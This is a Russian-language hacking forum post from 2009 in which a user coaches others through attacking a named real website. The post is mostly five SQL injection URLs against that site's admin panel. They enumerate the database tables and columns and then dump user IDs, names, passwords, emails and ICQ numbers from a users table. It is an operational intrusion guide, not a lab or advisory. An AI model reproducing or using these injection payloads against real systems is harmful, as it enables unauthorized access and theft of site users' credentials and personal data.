Показать сообщение отдельно

  #6  
Старый 22.01.2009, 17:23
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


По умолчанию

Да, это не основная админка, но опять же - учитесь мыслить глобально... У вас уже есть доступ в админку первого уровня... Она бажная... Находим в ней инъекцию и раскручиваем:

http://www.nb-torg.ru/admin/adminers.php?action=edit&id=-1+UNION+SELECT+1,TABLE_NAME,3,4,5+FROM+INFORMATION _SCHEMA.TABLES+LIMIT+X,1--

http://www.nb-torg.ru/admin/adminers.php?action=edit&id=-1+UNION+SELECT+1,CONCAT_WS(0x3a,TABLE_SCHEMA,TABLE _NAME),3,4,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+ TABLE_NAME+LIKE+'%25admin%25'+LIMIT+X,1--

http://www.nb-torg.ru/admin/adminers.php?action=edit&id=-1+UNION+SELECT+1,CONCAT_WS(0x3a,TABLE_NAME,COLUMN_ NAME),3,4,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+ TABLE_NAME='cns_users'+LIMIT+X,1--

http://www.nb-torg.ru/admin/adminers.php?action=edit&id=-1+UNION+SELECT+1,TABLE_NAME,3,4,5+FROM+INFORMATION _SCHEMA.TABLES+WHERE+TABLE_NAME+LIKE+'%25user%25'+ AND+TABLE_SCHEMA=DATABASE()+LIMIT+X,1--

http://www.nb-torg.ru/admin/adminers.php?action=edit&id=-1+UNION+SELECT+1,CONCAT_WS(0x3a,ID,NAME,PASSWORD,E MAIL,ICQ),3,4,5+FROM+frb_users+LIMIT+X,1--

Последний раз редактировалось groundhog; 22.01.2009 в 17:45..
 
Ответить с цитированием